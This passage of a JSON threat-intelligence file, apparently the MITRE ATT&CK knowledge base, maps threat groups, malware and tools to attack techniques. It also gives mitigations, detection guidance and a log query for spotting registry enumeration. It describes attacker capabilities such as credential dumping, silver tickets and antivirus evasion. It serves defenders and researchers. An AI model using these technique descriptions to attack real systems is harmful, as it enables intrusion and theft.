ARP", "url": "https://docs.paloaltonetworks.com/cortex/cortex-xdr/cortex-xdr-analytics-alert-reference/cortex-xdr-analytics-alert-reference/uncommon-arp-cache-listing-via-arp-exe.html", "description": "Palo Alto Networks. (2021, November 24). Cortex XDR Analytics Alert Reference: Uncommon ARP cache listing via arp.exe. Retrieved December 7, 2021."}], "modified": "2021-12-07T18:27:04.774Z", "description": "[Arp](https://attack.mitre.org/software/S0099) can be used to display a host's ARP cache, which may include address resolutions for remote systems.(Citation: TechNet Arp)(Citation: Palo Alto ARP)", "relationship_type": "uses", "source_ref": "tool--30489451-5886-4c46-90c9-0dff9adc5252", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be444020-9002-42c3-a68c-1591c0d1e9e2", "type": "relationship", "created": "2020-01-30T14:34:45.421Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-30T14:34:45.421Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--be48b079-418b-41c3-952b-cbf8a48f2002", "created": "2022-09-29T20:10:21.379Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "DHS CISA AA22-055A MuddyWater February 2022", "description": "FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.", "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:01:43.074Z", "description": "[STARWHALE](https://attack.mitre.org/software/S1037) has been obfuscated with hex-encoded strings.(Citation: DHS CISA AA22-055A MuddyWater February 2022)", "relationship_type": "uses", "source_ref": "malware--e355fc84-6f3c-4888-8e0a-d7fa9c378532", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--be4909b2-ff92-4dca-b835-09df2b10adb2", "created": "2022-01-09T22:20:52.407Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta-Axiom", "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", "url": "https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:03:44.685Z", "description": "[Zox](https://attack.mitre.org/software/S0672) can enumerate attached drives.(Citation: Novetta-Axiom)", "relationship_type": "uses", "source_ref": "malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--be49ddce-5925-4fb2-8822-0b665d9aa812", "created": "2020-09-22T19:30:17.684Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Cycraft Chimera April 2020", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", "url": "https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}, {"source_name": "NCC Group Chimera January 2021", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-02-06T18:11:56.977Z", "description": "(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be510dc5-eae7-4231-808b-645a7b04c15a", "type": "relationship", "created": "2019-11-07T20:29:18.340Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/", "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.", "source_name": "MRWLabs Office Persistence Add-ins"}], "modified": "2021-08-16T21:27:11.474Z", "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing.\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)\n", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--79a47ad0-fc3b-4821-9f01-a026b1ddba21", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--be51a4cd-8e2b-4605-9f8d-35e4689704f4", "created": "2022-03-14T15:00:31.156Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "RecordedFuture WhisperGate Jan 2022", "description": "Insikt Group. (2020, January 28). WhisperGate Malware Corrupts Computers in Ukraine. Retrieved March 31, 2023.", "url": "https://www.recordedfuture.com/whispergate-malware-corrupts-computers-ukraine"}, {"source_name": "Medium S2W WhisperGate January 2022", "description": "S2W. (2022, January 18). Analysis of Destructive Malware (WhisperGate) targeting Ukraine. Retrieved March 14, 2022.", "url": "https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-31T21:31:00.753Z", "description": "[WhisperGate](https://attack.mitre.org/software/S0689) can pause for 20 seconds to bypass antivirus solutions.(Citation: Medium S2W WhisperGate January 2022)(Citation: RecordedFuture WhisperGate Jan 2022)", "relationship_type": "uses", "source_ref": "malware--49fee0b0-390e-4bde-97f8-97ed46bd19b7", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--be55801c-82ed-4abe-960f-9bca9d704ffc", "type": "relationship", "created": "2019-06-28T17:54:44.491Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. 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Retrieved September 23, 2020."}], "modified": "2021-05-04T16:06:11.069Z", "description": "[LiteDuke](https://attack.mitre.org/software/S0513) has the ability to check for the presence of Kaspersky security software.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--95e2cbae-d82c-4f7b-b63c-16462015d35d", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bedf5d77-af37-4a10-b4d7-3555a9ea2938", "type": "relationship", "created": "2019-06-07T15:11:47.385Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro IXESHE 2012", "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf", "description": "Sancho, D., et al. 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(2014, September 03). DARKCOMET. Retrieved November 6, 2018.", "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET", "source_name": "TrendMicro DarkComet Sept 2014"}, {"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2020-03-28T00:53:12.574Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) can disable Security Center functions like anti-virus.(Citation: TrendMicro DarkComet Sept 2014)(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bf080191-d58e-4834-8b4f-7315df4d76bf", "type": "relationship", "created": "2020-03-17T17:37:09.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub Mimikatz kerberos Module", "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos", "description": "Deply, B., Le Toux, V.. (2016, June 5). module ~ kerberos. Retrieved March 17, 2020."}], "modified": "2020-03-19T23:37:02.700Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002)'s kerberos module can create silver tickets.(Citation: GitHub Mimikatz kerberos Module)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bf0c323f-545c-4bd1-959a-5b1a28d4d06d", "type": "relationship", "created": "2021-10-15T21:00:52.184Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Volexity InkySquid BLUELIGHT August 2021", "url": "https://www.volexity.com/blog/2021/08/17/north-korean-apt-inkysquid-infects-victims-using-browser-exploits/", "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. 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(2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. 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Retrieved May 20, 2020."}], "modified": "2020-05-29T13:31:07.914Z", "description": "[USBferry](https://attack.mitre.org/software/S0452) can use <code>tasklist</code> to gather information about the process running on the infected system.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "malware--75bba379-4ba1-467e-8c60-ec2b269ee984", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--bfb1e467-dffc-463b-9f38-a3fafbb9d036", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east", "description": "Symantec Security Response. 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(2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T14:44:05.864Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used NTDSDump and other password dumping tools to gather credentials.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c0337d13-da6a-4e2b-91a4-a389c6b4ee28", "type": "relationship", "created": "2022-03-01T15:57:35.833Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus APT January 2022", "url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/", "description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022."}, {"source_name": "Qualys LolZarus", "url": "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/08/lolzarus-lazarus-group-incorporating-lolbins-into-campaigns", "description": "Pradhan, A. (2022, February 8). LolZarus: Lazarus Group Incorporating Lolbins into Campaigns. Retrieved March 22, 2022."}], "modified": "2022-03-23T16:57:15.532Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has abused the <code>KernelCallbackTable</code> to hijack process control flow and execute shellcode.(Citation: Lazarus APT January 2022)(Citation: Qualys LolZarus)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--a4657bc9-d22f-47d2-a7b7-dd6ec33f3dde", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c035989f-a86f-4746-a9d4-3286dc68e473", "type": "relationship", "created": "2019-07-17T23:32:02.507Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Greenberg, A. (2019, March 25). A Guide to LockerGoga, the Ransomware Crippling Industrial Firms. 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(2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020."}, {"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.418Z", "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a remote microphone monitoring capability.(Citation: Imminent Unit42 Dec2019)(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "tool--8f8cd191-902c-4e83-bf20-b57c8c4640e9", "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c06f3e00-c272-4616-8b25-4c2cccf944f6", "created": "2022-03-30T14:26:51.864Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:23:16.093Z", "description": "Monitor executed commands and arguments for actions that may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nNote: For PowerShell Module logging event id 4103, enable logging for module Microsoft.PowerShell.Management. The New-PSDrive PowerShell cmdlet creates temporary and persistent drives that are mapped to or associated with a location in a data store, such a registry key (PSProvider \u201cRegistry\u201d). The the Get-ChildItem gets the items in one or more specified locations. By using both, you can enumerate COM objects in one or more specified locations.\n\nAnalytic 1 - Suspicious Commands\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Powershell/Operational\" EventCode=\"4103\") | WHERE CommandLine LIKE \"%New-PSDrive%\" AND (CommandLine LIKE \"%Registry%\" OR CommandLine LIKE \"%HKEY_CLASSES_ROOT%\" OR CommandLine LIKE \"%HKCR%\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c075f36d-2732-4258-b921-3f07845bc367", "type": "relationship", "created": "2020-02-11T18:59:50.162Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-11T18:59:50.162Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c077dd0a-7568-400b-9aad-e0535f356f71", "created": "2021-07-22T22:35:46.142Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ITSyndicate Disabling PHP functions", "description": "Kondratiev, A. (n.d.). Disabling dangerous PHP functions. Retrieved July 26, 2021.", "url": "https://itsyndicate.org/blog/disabling-dangerous-php-functions/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-11-10T18:21:43.379Z", "description": "Consider disabling functions from web technologies such as PHP\u2019s `evaI()` that may be abused for web shells.(Citation: ITSyndicate Disabling PHP functions)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c0792868-a5da-4486-9b3b-cefbc2667e54", "type": "relationship", "created": "2021-03-05T18:54:56.747Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Higaisa 2020", "url": "https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/", "description": "Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."}, {"source_name": "Zscaler Higaisa 2020", "url": "https://www.zscaler.com/blogs/security-research/return-higaisa-apt", "description": "Singh, S. Singh, A. (2020, June 11). The Return on the Higaisa APT. Retrieved March 2, 2021."}], "modified": "2021-03-05T18:54:56.747Z", "description": "[Higaisa](https://attack.mitre.org/groups/G0126) added a spoofed binary to the start-up folder for persistence.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c07cd7e2-1744-412c-ac58-4ec448a51f01", "created": "2023-05-23T20:35:01.095Z", "revoked": false, "external_references": [{"source_name": "Mandiant Suspected Turla Campaign February 2023", "description": "Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.", "url": "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-05-23T20:35:01.095Z", "description": "[QUIETCANARY](https://attack.mitre.org/software/S1076) can call `System.Net.HttpWebRequest` to identify the default proxy configured on the victim computer.(Citation: Mandiant Suspected Turla Campaign February 2023)", "relationship_type": "uses", "source_ref": "malware--93289ecf-4d15-4d6b-a9c3-4ab27e145ef4", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c07d6bad-8249-46c2-971f-66e779229be0", "type": "relationship", "created": "2020-06-01T14:43:27.315Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Proofpoint TA505 October 2019", "url": "https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader", "description": "Schwarz, D. et al. (2019, October 16). TA505 Distributes New SDBbot Remote Access Trojan with Get2 Downloader. Retrieved May 29, 2020."}, {"source_name": "IBM TA505 April 2020", "url": "https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/", "description": "Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}], "modified": "2020-06-01T14:53:46.735Z", "description": "(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c07df1c1-3ae1-4974-af37-9c1b04cef14a", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Palo Alto Comnie", "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}], "modified": "2020-03-17T00:43:32.014Z", "description": "[Comnie](https://attack.mitre.org/software/S0244) uses Rundll32 to load a malicious DLL.(Citation: Palo Alto Comnie)", "relationship_type": "uses", "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c07e24ea-bf70-4f9c-a45e-73dfc0ede007", "type": "relationship", "created": "2021-08-26T18:49:41.455Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Accenture MUDCARP March 2019", "url": "https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies", "description": "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}], "modified": "2021-10-06T19:18:54.650Z", "description": "[BADFLICK](https://attack.mitre.org/software/S0642) has download files from its C2 server.(Citation: Accenture MUDCARP March 2019)", "relationship_type": "uses", "source_ref": "malware--57d83eac-a2ea-42b0-a7b2-c80c55157790", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c0807a3c-a298-47ef-8705-7d7ca55d446e", "created": "2022-02-01T16:00:17.492Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Google TAG Lazarus Jan 2021", "description": "Weidemann, A. (2021, January 25). New campaign targeting security researchers. Retrieved December 20, 2021.", "url": "https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-14T14:12:20.506Z", "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) has created new Twitter accounts to conduct social engineering against potential victims.(Citation: Google TAG Lazarus Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "target_ref": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c0846dd3-f7b4-4460-9047-917781e38b18", "created": "2022-03-30T14:26:51.853Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Powersploit", "url": "https://github.com/mattifestation/PowerSploit", "description": "PowerSploit. (n.d.). Retrieved December 4, 2014."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that may access to a host may attempt to access Local Security Authority (LSA) secrets. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", "modified": "2022-04-19T17:21:13.623Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c08684c8-8467-4b7f-a9ac-3330cf423261", "type": "relationship", "created": "2019-01-31T01:07:58.538Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2019-07-17T13:11:38.696Z", "description": "[APT32](https://attack.mitre.org/groups/G0050) successfully gained remote access by using pass the ticket.(Citation: Cybereason Cobalt Kitty 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c0876037-56b6-409c-bda5-7aa5e6091c94", "created": "2021-03-23T20:49:40.307Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "TrendMicro EarthLusca 2022", "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022."}, {"source_name": "Securelist ShadowPad Aug 2017", "url": "https://securelist.com/shadowpad-in-corporate-networks/81432/", "description": "GReAT. (2017, August 15). ShadowPad in corporate networks. Retrieved March 22, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": 